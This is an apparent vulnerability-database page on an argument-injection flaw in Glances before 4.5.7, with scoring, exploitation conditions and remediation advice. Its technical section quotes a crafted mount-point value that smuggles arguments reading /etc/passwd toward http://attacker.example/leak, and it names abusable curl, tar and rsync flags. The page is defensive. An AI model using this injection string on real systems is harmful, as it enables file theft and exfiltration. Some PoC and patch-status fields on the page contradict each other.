Skip to main content

Glances CVE-2026-133465

| EUVDEUVD-2026-135676 MEDIUM
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (CWE-88)
2026-11-25 GitHub_M
6.5
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Create mount or stat with crafted quote-containing name
  2. Exploit
    Alert fires and Glances renders value into quoted action argument
  3. Execution
    Single quote breaks out, injecting new argv tokens
  4. Impact
    Action binary's flags abused for arbitrary file read/write or exfiltration

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
Exploitation Conditions

Exploitation requires a non-default configuration: an on-alert action (e.g. [fs] critical_action in glances.conf) whose command template quotes a Mustache stat field such as '{{mnt_point}}' - the documented pattern for multi-word values. The attacker must be able to influence a monitored stat value (mount point name, filesystem label, AMP result, process name/cmdline) so it contains a literal quote character that breaks out of the quoted argument. Limiting factors: the action must actually be configured and must quote an attacker-influenceable field; the injected arguments only become dangerous if the invoked script/binary accepts flags with side effects (file read/write, exec, network); the CVSS vector indicates local vector (AV:L), high complexity (AC:H), and some local privilege (PR:L). Notably, this is NOT limited by the _SHELL_OPERATORS sanitizer or by --disable-config-exec, since no shell operator is used and only quote tokenization is abused, and it works through the standard escaped {{var}} Mustache syntax because chevron does not HTML-escape the single quote.

Impact

The signals point to a conditional, medium-severity issue rather than an urgent priority. The supplied CVSS 3.1 vector (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L, base 6.5) describes a local vector requiring some privilege and high attack complexity, which aligns with the advisory's threat model: exploitation depends on a specific, non-default Glances configuration (an on-alert action that quotes an attacker-influenceable Mustache stat field). The vuln.today Decision label is 'this_month', not act_now or emergency, consistent with a flaw that is serious where configured but not broadly auto-exploitable. No CISA KEV listing is present and no EPSS score was provided, so there is no evidence of active or at-scale exploitation; a detailed public PoC reference exists inside the GHSA advisory but it is not verified in the input as working weaponized exploit code. SSVC-style fields (exploitation status, automatable, technical impact) were not supplied. Net: a real but narrow risk gated on configuration and on the invoked action binary accepting abusable flags - treat as a scheduled patch, not a fire drill. Missing data to flag explicitly: no EPSS score provided, and the package tracker line says 'not yet patched' while the description and release tag assert a fix in 4.5.7 - this conflict should be reconciled against the vendor release.

Exploit ScenarioDerived

A Glances deployment is configured with an on-alert action (e.g. [fs] critical_action) whose command quotes a stat field such as '{{mnt_point}}'. An attacker who can influence that stat - for example by creating a bind/FUSE mount or device label containing a literal single quote plus extra tokens - causes the quoted field to terminate early when the alert fires, injecting new attacker-controlled argv tokens into the action process. A public PoC demonstrating this end-to-end through GlancesActions exists in the GHSA advisory; because the vector is AV:L/AC:H, it requires local influence over monitored stats and a cooperating action binary whose flags have side effects (curl -o/--upload-file, tar --checkpoint-action, rsync -e, etc.).

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Nov 25, 2026

Argument injection in Glances on-alert action handling, in versions prior to 4.5.7, lets an attacker who can influence a monitored stat value (mount point name, filesystem label, process name/cmdline, AMP result) smuggle additional argv tokens into the process an action invokes. It requires a non-default configuration where an on-alert action command quotes a Mustache field such as '{{mnt_point}}', and it escalates beyond argument confusion only when the invoked script or binary accepts flags with side effects such as file writes, exec options or network uploads. The issue is not in CISA KEV and no confirmed active exploitation is reported; the vendor advisory does publish a working proof-of-concept reproduction, and the pre-existing shell-operator sanitizer and --disable-config-exec do not block it.

RemediationAI

Upgrade to Glances 4.5.7, the version named in the CVE record and the associated release tag (advisory: https://github.com/nicolargo/glances/security/advisories/GHSA-56xw-p9qm-r437, release: https://github.com/nicolargo/glances/releases/tag/v4.5.7); because the advisory's package metadata still shows 'fixed in: not yet patched', verify the installed distribution actually contains the corrected __split_args() before considering the host clean. The advisory presents no configuration-level workaround: the _SHELL_OPERATORS sanitizer covers only &&, |, >, >> and &, and --disable-config-exec disables operator interpretation only, so neither mitigates quote-based token break-out. Short of upgrading, the actionable reduction is to remove on-alert actions that quote attacker-influenceable Mustache fields, or to stop quoting such fields where the values never contain whitespace, and to tighten who can create mount points, device labels or process names the monitored host reports, since those are the input channels for the injected quote. Where an action must remain, the blast radius is governed by the invoked program's own option parsing, so pointing actions at wrappers that reject unexpected flags limits file read/write, exec options and network-upload primitives that injected arguments would otherwise reach.

Affected VersionsENISA

Glances < 4.5.7

Affected Packages

euvd glances fix: 4.5.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-88 (argument injection), distinct from the CWE-78 shell-chaining issues previously fixed in this subsystem (CVE-2026-32608, CVE-2026-53925, CVE-2026-62982, GHSA-qcpp-8x79-hhp3, GHSA-3vwc-qwhc-3mj7). Glances renders on-alert action commands with chevron Mustache and then passes them to secure_popen(); __split_args() in glances/secure.py (lines 48-55) tokenizes the command with the regex r'(\s+)|(".*?"+?)|(\'.*?\'+?)', treating single and double quotes as argument boundaries with no escaping concept, then strips the outer quote pair from each token. When a stat value that is quoted in the template contains a literal quote character, the tokenizer treats that character as the end of the quoted field and the remainder of the value becomes new argv entries; the advisory's worked example turns '/mnt/usb/x\' --evil-flag /etc/passwd http://attacker.example/leak \'y' into the argv ['argv_logger.py', '/mnt/usb/x', '--evil-flag', '/etc/passwd', 'http://attacker.example/leak', 'y', '92'] with no shell metacharacter present. The _SHELL_OPERATORS sanitizer in glances/actions.py only neutralizes &&, |, >, >> and &, and --disable-config-exec only disables operator interpretation, so neither touches quote tokenization. Notably, chevron's default escaped {{var}} renderer only HTML-escapes " < > & and not the single quote, so the documented escaped-Mustache syntax is sufficient and the raw/triple-mustache form is not needed. The trigger is fully described in the advisory and reproduced end-to-end through glances.actions.GlancesActions.run().

Know when Glances gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 6.5 MEDIUM
AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L
vuln.today AI 6.5 MEDIUM

Attacker influences a local monitored stat (AV:L) under a specific action config that must accept abusable flags (AC:H), needs low local privilege to seed the stat (PR:L); impact varies with the action binary, so C:H/I:H/A:L.

3.1 AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L
4.0 AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Local
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

Lifecycle Timeline

1
Patch available
Nov 25, 2026 - 20:19 EUVD

DescriptionCVE.org

Glances is an open-source system cross-platform monitoring tool. In versions prior to 4.5.7, the on-alert action command tokenizer in secure.py treats quote characters as argument boundaries without escaping. A monitored stat value, such as a mount point name, that is quoted in an action command template can contain a quote character that breaks out of its quote boundary and injects additional arguments into the process the action invokes. No shell operator is needed for this attack. This issue has been fixed in version 4.5.7.

Threat Intelligence Overview

EPSS Score
0.3%
Top 81% exploitable
Prevalence
Medium
popular open-source cross-platform monitoring tool, common but not in every environment
Social Media
1
Sightings
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact· derived
Medium
Technical Impact
Total

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

CVE-2021-23418 CRITICAL POC
9.8 Jul 29

The package glances before 3.2.1 are vulnerable to XML External Entity (XXE) Injection via the use of Fault to parse unt

CVE-2026-68518 HIGH POC
8.8 Aug 17

Command injection in Glances prior to 4.5.6 allows a local unprivileged user to execute arbitrary shell commands when ad

CVE-2026-30928 HIGH POC
7.5 Mar 10

Glances is an open-source system cross-platform monitoring tool. versions up to 4.5.1 is affected by information exposur

CVE-2026-62982 HIGH
8.8 Aug 17

Command injection in Glances system monitoring (versions 4.5.2 through 4.5.5) allows a local attacker with process-execu

CVE-2026-34839 HIGH
7.7 Apr 21

Cross-origin data exfiltration in Glances web server allows remote unauthenticated attackers to read sensitive system in

CVE-2026-35587 HIGH
7.3 Apr 21

Server-Side Request Forgery in Glances IP plugin allows authenticated attackers to force the monitoring application to s

CVE-2026-30930 HIGH
7.3 Mar 10

SQL injection in Glances TimescaleDB export module allows local attackers to execute arbitrary SQL commands against the

CVE-2026-68519 HIGH
7.1 Aug 17

Glances versions through 4.5.5 contain an incomplete fix for CVE-2026-53925: the `--disable-config-exec` flag correctly

CVE-2026-68517 MEDIUM
6.5 Aug 17

Glances REST API prior to 4.5.6 exposes authenticated system monitoring data to untrusted cross-origin websites due to a

CVE-2026-35588 MEDIUM
6.3 Apr 21

Cassandra export module in Glances prior to version 4.5.4 allows local privilege-escalated users to redirect monitoring

CVE-2026-68520 MEDIUM
5.3 Aug 17

Credential disclosure in Glances prior to 4.5.6 allows unauthenticated remote attackers to retrieve plaintext usernames

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy